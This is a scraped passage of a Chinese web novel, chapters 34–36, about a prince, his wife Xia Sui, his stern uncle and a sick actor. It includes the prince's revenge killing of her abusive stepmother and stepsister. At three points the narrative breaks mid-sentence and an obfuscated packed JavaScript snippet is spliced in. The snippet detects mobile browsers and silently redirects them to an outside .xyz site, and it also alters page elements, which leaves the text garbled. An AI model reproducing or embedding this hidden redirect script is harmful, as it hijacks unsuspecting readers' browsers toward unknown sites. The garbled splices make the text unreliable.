谢朝恩说话永远都是这样,简短,直接,斩钉截铁,每个字都带着让人不容拒绝的语气,没有半分商量的余地。 光是和他说话,夏穗就觉得窒息。 她不敢想,这么多年,面对如此严厉的束缚,谢枕年到底是怎么过来的。 夏穗低着头,豆大的泪珠滴下来,滴在她雪白的足尖上。 她说不清是因为担心狸奴而焦急,还是心疼谢枕年这么多年的隐忍。 又或许,两者都有。 她正光脚踩在地面上,清晨的大理石地面很凉,寒气顺着她的脚底往她的身上攀爬。 忽然,她肩上的力量一轻,狸奴整个人都倒向一边。 夏穗还没反应过来,只见谢枕年高大挺拔的身姿不知什么时候立在了她的身侧。 顺便还把昏过去的狸奴半扛在肩上。 他看了看夏穗没穿鞋袜的脚丫,立马把狸奴推给彦修,一手绕过她的后背,一手绕到她的膝窝下,直接把她打横抱了起来。 他瞥了眼彦修,只极其简短地吐出几个字:“带进来,救好他。” “枕年!” 谢枕年刚吩咐完,谢朝恩便极其严厉的喝止了他。 “你忘了王府的规矩吗?不许不相干的外人进府,这是为了你好。” 谢枕年的臂弯稳稳托着夏穗,周身气气质凛然,不动如山:“不需要。” 夏穗的身体紧绷,不敢去看谢朝恩的眼睛,只好把脸埋在谢枕年的胸前。 谢朝恩就挡在大门口,他虽上了年纪,但身形笔直。 “枕年,不要忘记你肩上的使命。” 谢朝恩的声音不高,却能够压住所有细微的声响。 家丁仆役们也都垂首屏息,没人敢说一句话。 “还有,放她下来,”谢朝恩的目光死死地盯住夏穗,“她坏了王府的规矩,有辱门楣,我要带她去祠堂。” 他现在惩治不了谢枕年,还惩治不了一个夏穗吗? 听到这话,夏穗在他的怀中轻颤了一下。 谢枕年稳稳地抱着夏穗,站在原地不动,抬眼迎上谢朝恩的目光,手臂收得更紧了。 “她是我的人,就不必叔父费心教导了。” 谢枕年的声音比平时冷硬了不少,字字清晰坚定。 谢朝恩下颌线条绷紧,目光扫过谢枕年早已成熟的脸,又在夏穗身上转了一圈,最后落回到谢枕年脸上。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773286|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向前逼近一步,袍袖下的手紧握成拳。 “今日,她去也得去,不去也得去!” 谢朝恩厉喝,声音陡然拔高,震得空气发颤。 一向尊敬长辈知礼明仪的谢枕年从来没有这么忤逆过他。 如今为了一个女人,竟敢在众目睽睽之下公然违抗他的命令! 他记得上一次叔侄俩冷脸不愉快,也是因为夏穗。 因为一个女人坏了多年来的修养与气度,这成何体统! 夏穗偷瞄了眼谢朝恩,他面色铁青,眼中怒意几乎喷薄而出。 她怵怵地收回目光,轻轻拉了拉谢枕年的衣襟:“今日是我错了,我冲撞了叔父,你放我下来吧,我去认罚。” 谢枕年看着她,非但没放,反而将她往上托了托,抱得更稳。 他直接无视谢朝恩迫人的威压,抬脚就往前走。 再怎么说,他才是王爷,是整个王府里身份最尊贵、地位最高的人,他若想往东,绝对没有人敢拦着他。 若是得到他的首肯,什么人都不算是外人,什么规矩都可以无视。 不过他的这一举动,相当于是在众目睽睽之下打他谢朝恩的脸。 谢枕年抱着夏穗跟他擦肩而过,在距离他叔父身后两三步路的时候,谢朝恩又开口叫住了他。 “枕年,你若是还把我当做叔父,还惦念着我一手将你养大的情分,待会儿自己来我房中。” 谢枕年不答,垂下眸子沉默了一会儿,抱着夏穗离开了。 他一路上都不说话,抱着她来到房中,把人放下,依然什么也没说,立刻转身就走。 夏穗有些着急地拉住了他的手,问道:“你去叔父那里吗?他又要怎么罚你?我跟你一起去。” “不用。” 谢枕年轻轻挣脱出手,话语中听不出是什么情绪:“狸奴交给彦修了,你放心,彦修人是死板了些,但他没有恶意,做事也很妥帖。” “我知道。” 夏穗的目光中满是谢枕年,不知道为什么,明明他说的很平淡,但她总从这几句话中听出了悲伤的感觉。 “现在是在说你的事。” 她又紧紧拽住谢枕年的手,生怕他马上跑了似的:“看叔父的神情,不像是会轻易放过你。” 谢枕年垂下目光:“他不至于打死我。顶多也就是数落我一顿,和我讲讲那些我倒背如流的道理,告诉我,我不只是为了自己活着。再把我母亲叫过来,苦口婆心地说一顿。” 他有些无力地扯了扯嘴角:“仅此而已。” 他又想到什么似的,补充了句,“放心,这么多年都是这么过来的,我的心理承受能力没有那么差。” 他看着夏穗,话语中含沙射影着某个动不动就寻死觅活的男人。 但夏穗现在满心满眼都担忧着他,并没有听出来。 谢枕年轻叹了口气:“好了,你还是去看看狸奴吧。他生着病,要是睁开眼没看到你,指不定要怎么样呢。” 他走到门口打开门,逆着光,微微侧头看了一眼夏穗。 但夏穗看不清他脸上的神情,只隐约听到他说了一句: “反正,我也不是你什么重要的人。” 就在那一瞬间,夏穗似乎在逆光中看清了他微微泛红的眼眶。 34. 第 34 章 夏穗有些恍惚,她不知道自己是不是真的听见他说了那句话,又或许,只是她听错了。 那样孤寂怜弱的眼神,在他身上很少见。 不,基本上可以说是从未见过。 她眼中的谢枕年,平时总是矜贵自傲,清冷有礼,做事果决,雷厉风行。他在朝堂上翻云覆雨,小小年纪就独自撑起了偌大的王府,感情对他来说好像是可有可无的东西。 夏穗坐在床上,看着他开门,走出去,最后身影消失在门外。 那薄薄的一道门,把他们隔绝开了。 她也不知道自己脑子里在想什么,但是身体的反应却比脑子更快,等她反应过来的时候,自己已经追出门外了。 但谢枕年已经消失在了门外,她刚要往祠堂的方向去追,身后有人叫住了她。 “娘娘!” 夏穗回头一看,是彦修。 他像是知道自己犯错了,表情看起来有些拘谨:“今天的事情……是我对不住了。” 夏穗轻叹一口气:“没事,你也是按规矩办事。” 彦修向她行了一礼,接着说道:“对了,您朋友刚刚醒了,嚷着要找你呢。” 夏穗看了一眼谢枕年消失的方向,回道:“你先替我好好照顾他,我去一趟叔父那里,马上就回来。” 彦修立马露出一副有些为难的表情:“这恐怕有些难,他刚醒,烧都没退,就要来找你。我好不容易找几个人把他给按住,大夫为他施了针,等他稍有一些力气,又要下床。他本就是病体,这样折腾几回,大夫说怕是要落下病根的。” 她咬了咬下唇,催促道:“那快走吧!” 希望她探望完狸奴,还有时间能赶去叔父那里。 夏穗推门而入,烛光微暗,室内弥漫着苦药味。 狸奴垂着眸子,斜倚在榻上,面色苍白,裹着厚被。 他听到门口的动静,立刻便往这边投来了目光。 “穗穗!” 他看到夏穗时,眼睛立刻亮了不少,甚至因为太激动而剧烈咳嗽起来,手捂着胸口,夏穗听那动静,疑心他要将心肺都咳出来。 好不容易止住,狸奴抬起湿漉漉的眼睛看向她,声音虚弱:“你……咳咳……你终于终于舍得过来看我一眼了……” 夏穗立即安慰道:“我一听说你醒了,马上就过来了。” 狸奴别过头去:“你走吧。” 夏穗:? 刚刚不是还吵着嚷着要找她么?怎么她一来,反倒又要她走了? 夏穗走到他床边坐下,替他掖了掖被子:“当真要我走?” 狸奴不说话。 “你不回答,那我可真走了。” 直到此时,狸奴才转过头来看她:“我……我不想让你走……只是这病气,别过给你才好……” 他说话时用手半捂着嘴,目光含情,一双好看的眼睛里含着晶莹的泪珠,半落不落,眼尾微微泛红,像极了他在戏台上扮演柔弱男旦时的样子。 现在的他没有半点装饰和粉面感,但更惹人怜惜。 夏穗想:就是这幅模样! 勾起了女性天生的怜爱之心。 她拉过狸奴的手,轻轻在他手背上拍了拍:“正是因为这样,你才要早点好起来呀!不要想太多了,你放心,我有空就会来看你的。而且,你安安心心地住在王府,在这里不会有人敢欺负你的。你要是缺什么,就和房里的下人们说,我差人给你送过来。” 狸奴低头盯着被角,手指无意识地绞紧。 这番话在他听来,分明就是她马上要走的前兆。 果然,说完这些话之后,夏穗立刻就站起了身:“你好好休养,我改日再来看你。” “等等!” 狸奴忽然伸手,指尖轻轻勾住她衣袖一角,力道轻得仿佛随时会松开,却又固执地拽住她。 他仰起脸,努力挤出一个苍白脆弱的笑容:“穗穗……不会又是在骗我吧?我总觉得,心里空落落的……” 夏穗现在急着要走的样子,跟以前急着回府的样子并不相同。 她以前急着要回府时,虽然很匆忙,但神色之间还满是不舍与留恋,但现在,却是满脸担忧和着急。 是很相似的心情。 但这一点恐怕连她自己都没有发现。 夏穗竖起指头向他保证:“不会,这次肯定不会骗你。你现在的任务就是快点好起来。” 她也理解,人在生病的时候就是这样的,身心都脆弱无比,往往需要更多的陪伴和耐心。 看她还是要走的样子,狸奴垂下眼睫,声音更低,语气中带着些自责,“都是我不好,身子不争气,还总想着拖累旁人……你走吧,别管我了……” 他一边说着,一边悄悄观察夏穗的反应。 见她仍未坐下,他猛地又是一阵撕心裂肺的咳嗽,这次咳得更急更猛,甚至蜷缩起了身子,肩膀剧烈耸动着,喘息声粗重艰难。 夏穗赶紧坐下,拍了拍他的背,给他顺着气:“怎么还是这么严重啊?大夫呢!去叫大夫过来。” 好不容易平息了一点,他喘息着,声音破碎不堪:“不……不用麻烦了,大夫刚走。我喝点药就好了。咳咳……只是……以我现在的状态,这药,我怕是没力气自己喝……” 他的目光飘向床边小几上那碗黑沉的汤药。 夏穗会意,端起药碗:“我喂你喝完药再走。” 她端着药走近床边。 狸奴虚弱地支撑起身体,手指不经意地覆上夏穗端着药碗的手背,指尖冰凉,声音中带着依赖:“穗穗对我真好。” 夏穗朝他笑了笑,舀起一勺药在嘴边吹了吹,然后才把药勺递出去。 狸奴刚喝了一小口,便皱起了眉头。 “苦吗?” 狸奴略微点了点头。 夏穗从身上掏出一块小方糖,放在他手心:“这个给你,不过要吃完药再吃。” 狸奴握紧那颗小小的方糖,说道:“还好是你。” 夏穗有些不明所以:“怎么?” “还好是你喂给我……这药太苦,我自己喝,定是喝不下的……” 夏穗给他吹着药,看起来像是没有听出他的言外之意:“良药苦口,生病总要喝的。你要是喝不下,我让人多买点方糖给你。” 狸奴微叹了口气,抬手握住她伸过来的手腕,低低地叫了声:“穗穗……” 他看着夏穗的眼睛:“你真的……一点也不明白吗……” “本王倒是很好奇,我的王妃应该明白你什么?” 门被不客气地推开,谢枕年站在那里,身形挺拔如松,声音阴鸷。 狸奴看到他,身体缩瑟了一下,露出一副小鹿受惊的模样。 他这是……害怕他? 谢枕年见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787949|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个样子,有些气不打一出来。 这个男人昨天还十分粗暴地动手打他,今天怎么就一副涉世不深、温良男孩被欺负的模样? 谢枕年并未走近,只是目光锐利地盯住他覆在夏穗手背上的手。 见他进来,狸奴非但没松手,反而将夏穗的手握得更紧了些,身体也朝夏穗的方向微微倾斜,像是要寻求她庇护一样。 哼,看来是换战略了。 谢枕年也立马切换表情,脸上带着恰到好处的、温和的关切:“怎么样?身体可好些了?” 狸奴看向谢枕年,又看了看夏穗,语气中带着一丝刻意的亲昵和委屈:“草民见过王爷。多亏王妃关照,我已经好多了。王妃体恤百姓,关爱苍生,连她喂的药,似乎都没那么苦了。” 他对着夏穗,声音又软下来:“真的……只有你在这里,我才觉得安心些。” 谢枕年的后槽牙都快咬碎了,但脸上的温和笑容没有丝毫变化。 他步履从容地走过来,非常自然地站到夏穗另一侧,离她更近,声音温和,对着狸奴说道:“本王和她同床共枕多日,最是清楚她的睡眠习惯,这个点,她平时该回去睡回笼觉了。” 他清了清嗓子:“刚好,我今日闲着没事,既然你身子不方便,如今又住在府上,那换本王来喂你吧。” 夏穗听他说这话,立刻反头看他,他会闲着没事? 真是太阳打西边出来。 但谢枕年已经伸手,极其自然地、带着不容拒绝的力道,将夏穗的手从狸奴手中抽离出来,顺势接过了药碗。 他语气体贴:“行了,这里交给我就行,你回去睡吧,我待会儿就回来。” “可是……” 夏穗有些担心,她实在没有办法相信从小衣来伸手饭来张口的王爷会照顾人。 狸奴脸色僵硬:“草民哪敢劳动王爷,我自己来就行。” 谢枕年挑眉:“哦?你现在又有力气了?” “我……” 狸奴紧蹙着眉,不知该怎么接话。 谢枕年已经舀起一勺药,递到他唇边,笑容温煦,眼神里却没有半点笑意:“来,趁热喝。病好了,才不会总是麻烦到别人,你说呢?” 狸奴看着谢枕年递过来的药,又看看被他护在身边的夏穗,喉结滚动,一句话也说不出来,只得张口喝药。 房间里很安静,只剩下药碗里升腾的苦涩热气。 谢枕年喂了几勺,又对着站在身后的夏穗说道:“行了,你回去休息吧。我又不会吃了他。” 夏穗看着谢枕年,她倒不是担心这个,她只是想问问,方才叔父对他说了什么。 从他进门的那刻起,夏穗就把他上上下下扫描了个遍,直到看到他身上没什么伤口,才稍稍放心下来。 不过有的时候,伤口并不一定体现在身体上。 语言是无形的凶器,和刀子相比,恶语会真正插入心脏深处。 “叔父他……” 夏穗想了想,现在狸奴在这里,问这些不太方便,还是回房等他回来再问吧。 她刚关上房门出来,就看到小桃着急忙慌地跑过来,伏在她耳边说道: “小姐,你猜我听说什么了?!” 夏穗用食指点点她的脑门:“说吧,又是什么八卦?” “死了!她们俩都死了!而且曝尸荒野,听说死状极其惨烈。” 35. 第 35 章 听着小桃不着边际的发言,夏穗愣了愣,看了她半天,表情严肃地走向前,探了探小桃的额头: “你又受伤了没去买药吗?大白天的说什么胡话?哪有人死了?” 小桃拉着她的手走到一边,四下看了看,凑到她耳边说道:“是二姨娘!二姨娘和她女儿!” “你说什么?” 夏穗还有些没反应过来,“我明明记得她们被王爷发配去了边关,怎么会忽然死了?” 现在不是什么饥荒或疫病之年,就算被发配去边关,也绝不会轻易死在路上。 “不仅如此,小姐,你猜他们俩的尸体在哪儿被发现的?” 看着小桃凝重的眼睛,她心下忽然想到一个人。 方才谢枕年笑意盈盈的脸庞出现在她的脑海中。 看她半天不回话,小桃拉了拉她的袖子提醒道:“小姐?” 夏穗回过神来,问道:“是……我阿娘的墓地旁边吗?” 小桃用看神算手的眼神看着她:“小姐你怎么知道的?” 夏穗轻叹口气,这若真是他的手笔,倒也不奇怪。 只是她想不通,明明他已经把人发配去了边关,怎么又会突然找她们回来,还让她们曝尸荒野。 小桃像是还沉浸在震惊中,在她耳边碎碎念着: “我刚听到这个消息,也不敢相信。我还特地去了一趟夫人的墓地,亲眼看到的。小姐,你说会不会是……夫人回来了?” 她一边说着,像是浑身发冷一般,朝着夏穗凑近了些:“虽、虽然夫人生前对我很好,我也希望她能够陪在小姐的身边。但是……如果是魂魄的话……那会不会……啊啊啊啊!” 小桃话还没说完,忽然一阵凉风刮过,把庭院里正在晾晒的手帕吹得飞起来,吹落下来,蒙在她的头上,吓得她顿时尖叫起来。 “啊啊啊!小姐小姐!夫人来了!” 夏穗看她在原地吓得哆嗦,她单手按住她的肩膀,把那块布扯下来,塞在她手里: “是风而已。放心吧,我阿娘若是真回来了,肯定也是先来找我。” 小桃吓得额头冷汗连连:“如果不是夫人……那、那会是谁?” 夏穗不语,沉默着转身,看了一眼她刚出来的房间。 很巧,她刚转身回眸的一瞬间,房门便打开了,谢枕年端着空药碗,从里面走了出来。 看到她还站在这里,他似乎有些意外:“怎么,你就这么不放心我和他独处?昨天先动手的人可不是我。” 夏穗立在原地,看着他那双微微上扬的丹凤眼,但无论怎么看,也觉得自己始终看不透他。 “我有话想对你说。” 谢枕年挑了挑眉:“正好,我也有。” 夏穗拉起他的手,快步就往他们的房间走去。 一回到房间,夏穗关上门,便迫不及待地问道:“王爷,我听说,我继母和继妹死了。” 谢枕年听她这么说,云淡风轻地回了一个字:“嗯。” 他看着夏穗,像是觉得一个字不够似的,又补充了一句:“或许,这就是天意吧。” 天意? 什么天意让两个被流放边关的人死在了她娘的墓前? 夏穗忍住心里翻涌的情绪,咬了咬下唇:“她们……到底是怎么死的?” 谢枕年有些敷衍:“不清楚,也许是流放途中染了疫病吧。” “那为什么她们会……” “夏穗!” 谢枕年打断了她,像是累极了,眉目之间隐隐有些疲意和不耐,轻叹了口气: “你心里既然已经有了结果,现在又何必来问我?倘若我告诉你,就是我干的,你会怎么办?” 谢枕年逼近了一步,看着她的眼睛,“对我生气?还是失望?又或者,觉得我心狠手辣、不想与我这种人为伍?可我本来就是这种人,你现在觉得生气、失望、或者讨厌我,是你没有看清楚我罢了。我恨的人,必定是要亲手杀掉的。从来如此。” 夏穗哽咽着没有回话。 谢枕年退开一步,垂下目光,声音小了些,像是在自言自语:“你觉得我穷凶极恶也好,要怪我也好,我决定把她们扔在你娘的墓前时,就不怕被你知道。” 夏穗气急了,咬着牙过去狠狠推了他一把,大吼道:“你这个疯子!” 谢枕年像是犯了错的孩子般站在原地,不看她的眼睛,也不抬头。 夏穗大声道:“你做这种事,若是被有心之人知道,在朝堂上参你一本怎么办?天子犯法与庶民同罪,若是陛下不信任你,把你打入大牢怎么办?要是被叔父知道了,又要责罚你怎么办?她们根本不值得你污染自己的双手!” 她说着,哭声渐渐控制不住:“呜呜……你这个疯子……你做这种事,考虑过后果吗?考虑过你自己吗?” 夏穗很生气。 确实很生气。 但她气的并不是谢枕年背着她做了这些事,她气得是他此番行事完全不为他自己考虑。 夏穗并不是什么心怀慈悲大爱无疆的小白莲。 弑母之仇,虐待之恨,她一直都记得。 只恨没有机会还。 上次在夏府,她借谢枕年之手将她们发配到边疆,那时候看她们母女情深,她一时动了恻隐之心,觉得既然此生不复相见,差不多也够了。 但,忍一时对面得寸进尺,退一步自己越想越气。 晚上入睡时,她想起母亲临死前的眼睛,想起自己和狗一起争饭时的心惊胆颤,又恨自己当时放过了她们。 谢枕年明明已经把她们发配去了边疆,如今却又改变主意,必定是从别处听说了什么,才下此狠手。 夏穗看着现在好端端站在她面前的谢枕年,她忽然有一种劫后余生之感。 “呜呜呜……” 她站在原地抹着眼泪,谢枕年刚才听她说话的过程中,眉头一直紧紧压着,但眼中却是掩饰不住的惊讶。 他朝着她伸开双手:“过来。” 夏穗的眼泪还在眼眶里打着转,她闭了闭眼睛,冲过来扑在他怀中,抽泣着:“我没有要怪你的意思……我只是害怕……她们并不值得你这么做。” 谢枕年抱着她,轻轻拍着她的后背,安慰道:“反正我生来也是别人手里的刀,身上的血污早就洗不干净了,多沾上一两个仇人的血,我根本不在乎……” 夏穗埋在他怀中,蓦地抬起头,湿漉漉的眼睛望着他:“我在乎!” 她的手紧抓着谢枕年的衣领和袖子,生怕他跑了似的,“我不知道叔父和母亲对你说了什么,也许他们一直跟你说的是你的使命、你的任务,你要怎么样当好一个王爷,你要怎么样扛起谢家。也许这些确实很重要。但是、但是……咳咳……” 夏穗说得很快、很急,又还在哭,因此说得直接咳嗽起来。 谢枕年连忙拍着她的后背,关切道:“怎么了?莫不是真被狸奴传染了?” 夏穗摇摇头,来不及回他的话,捡着要紧的话说:“我读书少,不知道什么大道理。但是,我知道人生来就是要好好做自己的。你不是谢家的刀,也不是王府的盾,这些都是叔父和母亲强加给你的。你如果愿意,这个包袱可以背着,但你如果不愿意,想扔下的时候,任何人都没有资格怪你。” 谢枕年愣了愣,随即将人紧紧抱在怀中。 所谓的“你不需要成为任何人、不必强背上任何人的期望、你只要好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840558|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好做你自己”这种话,谢枕年小时候也曾在书中看到过。 不过,那些书都被束之高阁,是他叔父所说的禁书。 理所应当地,书中的那些话,自然也都成为了歪理,不被任何人提起。 这还是他第一次在别人口中听到这些话。 夏穗就像禁书的扉页,让他忍不住一读再读。 不背负别人的期望生活是什么样的感觉呢? 好好成为自己是什么样的呢? 他不知道。 他只能紧紧抱着夏穗,不知道为什么,他觉得只要有她在,这些他迟早有一天会知道。 两人依存了很久,夏穗才终于抬起头,还是有些不放心地问道:“王爷,你做得干净吗?有没有被什么人看到?” 谢枕年稍稍放开了她一点,歪着头,像是在认真思考。 看他这副样子,夏穗急道:“你该不会没注意这些吧?天子脚下,你胆子也太大……” 谢枕年摸了摸她的头:“放心,我动手前搜集过她们的罪证,呈给了刑部。刑部的判决书已经下来,我作为监斩官,算是公事公办,只不过是稍微改了地点罢了。” 夏穗撇了撇嘴:“你有判决书?你怎么不早说?害我担心半天!” 谢枕年勾了勾嘴角:“我不是说了吗,我有事想对你说。只不过你进门后便对我一通质问,我没有机会说。” 他顿了顿,接着说道:“比起这些,我倒想问问你。” 夏穗走到桌边坐下,喝了口茶润润干涩的嘴唇:“问什么?” “她们对你做过什么?” 谢枕年也走到桌边坐下,“当时从夏府出来我就想问你,只不过那时候……” 看他欲言又止的样子,夏穗直说道:“只不过那时候我沉浸在悲伤中,你不想勾起我痛苦的回忆。” 夏穗看着谢枕年,有些没心没肺似的笑着:“无所谓啦,回忆起那些,现在倒也不觉得痛苦,反正都过去了,有时候倒觉得自己也挺勇敢的。” 她双手支撑着下巴,依旧笑着说道:“她们做的那些事嘛……把我从楼梯上推下来,或者推进火堆里,有时候是池塘里;让我和疯狗一起争食,让我做试验体,给她们试药之类的,也就是这样。” 也许是怕气氛过于凝重,她都是笑着,仿佛在说别人的事。 “什么叫也就是这样?夏穗,你知不知道她们这么做有多过分?” 谢枕年其实听彦修说过这些,但是此时亲耳听到夏穗说出来,感觉又不一样。 他听彦修说的时候,心里已经相当难受了,像是有人用小勺一点点在剜他的心。 此时听夏穗说,却能够真正地感同身受,仿佛她说的那些事情都曾真真切切地在他身上发生过。 夏穗点点头,表情稍微正经了些: “如今想来,他们对一个孩子做的事确实是可恨至极。不过我当时尚且年幼,又亲眼目睹娘亲被她们害死,连我亲生的阿爹都不管我,府中根本没有我可依赖信任之人。” 她看着谢枕年的眼睛说道:“所以,对那时候的我来说,根本没空去考虑她们做的事情有多过分。我只知道,我得活下去。” 谢枕年握住她的手,宽大的手掌紧紧包裹住她的小手,像是在她的周身建立起了一圈坚不可摧的围墙。 “我本来,只是想把她们对你做过的事在她们身上实践一遍,让她们也尝尝你的感受,并没想过真的取她们性命。” 确实如夏穗所说,天晟王朝律法严苛,哪怕是皇亲国戚,私自取人性命也是要受刑罚的。 夏穗直起身子:“那你最后为什么又……” 谢枕年垂下目光,思绪飘回到那天狭窄昏暗的别院中。 36. 第 36 章 密不透风的房间里,夏稚和她的母亲刘氏被分别捆绑在凳子上。 夏稚动了动早已僵硬的手臂,埋怨道:“阿娘,你想想办法呀,我手都酸死了。” “先忍着点儿,王爷把我们带回来,肯定是要放了我们。” 夏稚的眼睛亮了亮,连珠炮似的发问:“真的吗?阿娘怎么知道的?那我们还能回夏府吗?” 刘氏扯了一下嘴角,眼中含着毒蛇似的精光: “当日我对王爷说过,夏穗那个小贱人嫁人之前有一个相好,虽然那天他没说什么,但哪个男人能忍受得了自己的妻子和别的男人不清不楚?更何况像他们这种身份尊贵的世家子,向来高高在上唯我独尊,最是见不得这种不守妇道的女人。想必如今是查清楚了,才派人救我们回来。” 夏稚高兴地冲她娘点点头:“真不愧是我阿娘,真有你的!” 她长舒一口气,又接着说道: “不过话说回来,也怪阿娘你,好端端的,当初为什么要把夏穗的生辰八字送去王府?这下好了,真让还真让她攀上高枝儿了。” 刘氏“啧”了一声,叹着气说道: “我只不过是抱着试一试的心态,若能成,便美美的收下聘礼,若不成,又没什么损失。她身份卑贱,就算入了王府,在那等吃人不吐骨头的地方,进去没两天就要少层皮,谁晓得她命还真硬。” 话音未落,门轴发出一声轻响,谢枕年走了进来。 夏稚看到他,下意识地瑟缩着身体,刘氏则是挤出哀哀的哭声,先发制人道:“王爷!王爷明鉴啊!” “想必王爷也查清楚了吧?我们哪敢存心欺辱她?实在是……实在是夏穗那孩子行为不端!未嫁入王府前,她就与野男人不清不楚,我们是怕她坏了门风,这才狠心教她规矩!” 刘氏对夏稚使了个眼色,夏稚连忙附和道:“是啊王爷!我们一片苦心,其实都是为了姐姐好!母亲只是怕她不知天高地厚,连累了夏府的清誉而已!” 谢枕年立在她们面前,身姿高大挺拔,玄色的衣袍衬得他的面容愈发冷峻。 他眼神淡漠地扫过两人,抬了抬嘴角,话中听不出是什么情绪:“哦?教规矩?那说说吧,你们都是怎么教的?” 刘氏心下一喜,看他这样子,事情应该有了转机,忙不迭细数道: “回王爷,无非是让她做些小活,磨磨性子罢了。洗洗碗,浇浇花,擦擦桌子什么的。这些活,小孩儿都能干。” 谢枕年走到桌子旁边坐下,手指有一下没一下得敲击着桌面,问道:“还有吗?” 刘氏想了想,他如果真的彻查了夏穗的过去,想必她对夏穗做的那些事也瞒不住他,此时不能完全说假话。 于是她又把事实变着法儿说: “不过……她性子倔,顶撞长辈,有时候关进柴房,也只是让她静心思过一下……至于下人们仗势欺人,把她关进狗窝,那也是下人们自作主张的事。我这个当娘的可从来没这么想过,她亲娘走了,我一向都是……” “很好。” 谢枕年开口打断她,“你教规矩教得不错,不过,看来你并没有把她教好。她在王府里并不怎么听话。” 谢枕年对彦修使了个眼色,彦修会意,走过去把母女俩身上的绳子解开。 “实不相瞒,夏穗过去的事,本王倒是也打听了一些。” 他面带笑容,眼睛慢慢地扫过母女二人,“我听说夏穗以前在夏府里出奇的乖,看来是被二位调教得很好。我此番把二位找回来,是想向二位好好请教,到底要用什么办法,才能让她守规矩一些。” 谢枕年扶了扶额头,佯装十分为难道:“我的方法不管用。你们以前用过的那些方法,对她管用就可以。只要能让她乖乖留在我身边,哪怕残忍些也是可以的,说来听听吧。” 母女俩相视一看,夏稚率先弱弱问道:“王爷,小贱……姐姐她是不守规矩吗?” “岂止是不守规矩,简直是无法无天。所以还希望你告诉我,怎么调教她才会乖乖听话。” 还没等刘氏说话,夏稚便挺了挺胸膛,滔滔不绝地说了起来: “那简单啊!我经常把她推到水里玩,不过次数多了,她现在熟水性,这招不好使了。用烤红的铁钳烫她,这倒是一直好使。或者就把她和猛兽关在一起,恶犬,毒蛇之类的,她最怕那些了。还有用竹签扎指甲啦,给她喝头发水啦,这种都是小儿科,你用几次她就会怕你了……” 夏稚得意洋洋地说着,刘氏看着谢枕年越发冷峻阴鸷的神色,意识到事情不对,赶紧拉了拉她的袖子,制止女儿。 夏稚正说得起劲,直接拍掉了刘氏的手,继续说道:“我还特意收集过刑部的那些方法,那些也可好玩儿了。不过可惜,我没有全部试完。” 谢枕年眼神冰冷,下颌线绷得死紧,手指已经深深掐入掌心,但他浑然不觉,只有心口觉得疼痛无比,像是被尖锐的刀子一点点钻进去,再大肆搅动着他的血肉。 “好、很好,不过嘛……” 谢枕年站起身来,周身散发着骇人的戾气:“你们说的这些方法,我没亲眼见过,到底有没有用,还有待考证。不如,你们现在就替本王实践一下吧。” 夏稚愣了愣,吓得双腿发软,直接瘫坐在地上:“什、什么意思……” 谢枕年的脸上覆着一层寒霜,眼底翻涌着毫不掩饰的杀意,他看了一眼刘氏:“王府确实是个吃人不吐骨头的地方, 夏穗能够安然活到如今,她的骨头确实是硬。本王现在倒想看看,你们的骨头,有多硬。” 刘氏爬过来,在他脚边跪下,撕心裂肺喊道:“王爷!那都是小孩子不懂事,闹着玩的。” 谢枕年后退一步,十分厌恶地她拉开距离:“如你所说,本王只是用你们的方法和你们玩玩而已。” 刘氏还要扑上来,彦修立即上前,拔刀出鞘,挡在谢枕年身前。 明晃晃的剑光一出,母女俩瞬间噤若寒蝉。 谢枕年居高临下地看着面无人色的母女俩:“刚才你们提出的这些办法,现在,你们也好好地去体验吧。” 彦修把两个人带出去,他浑身像卸尽了力气一般,靠着柱子坐下来。 他并没有一种大仇得报的快感,他只涌上来一股深深的无力感。 此时看着夏穗含着光的眼睛,看着她笑嘻嘻的脸,这种他什么都做不了的无力感又加深了。 哪怕她经历过那样的事情,遭受过那么非人的折磨,但她浑身上下像是没有裂缝似的,她没有迈不过去的坎儿,更不需要别人的安慰。 也正因如此,谢枕年完全不知道该怎么做,他给不了一点补偿的方法。 反倒夏穗是先拍着他的肩膀安慰他:“过去的那些事情,我虽然都记得,但都是回忆嘛,不回忆就不会觉得痛苦,就算回忆,我也只会觉得我很厉害。” 夏穗笑了笑,接着说道:“不过我很好奇,王爷你又没经历过这些,只是听一听,却能对我的这些经历如此感同身受。你这样心地善良,容易共情别人的性格,到底是怎么在朝堂上站住脚的?” “我又不是对每个人都能这么共情。” 夏穗疑惑:“那为什么你能这么共情我?因为我实在是太惨了?” 谢枕年张了张口,但不知该如何作答。 因为什么呢? 他会共情夏穗,会 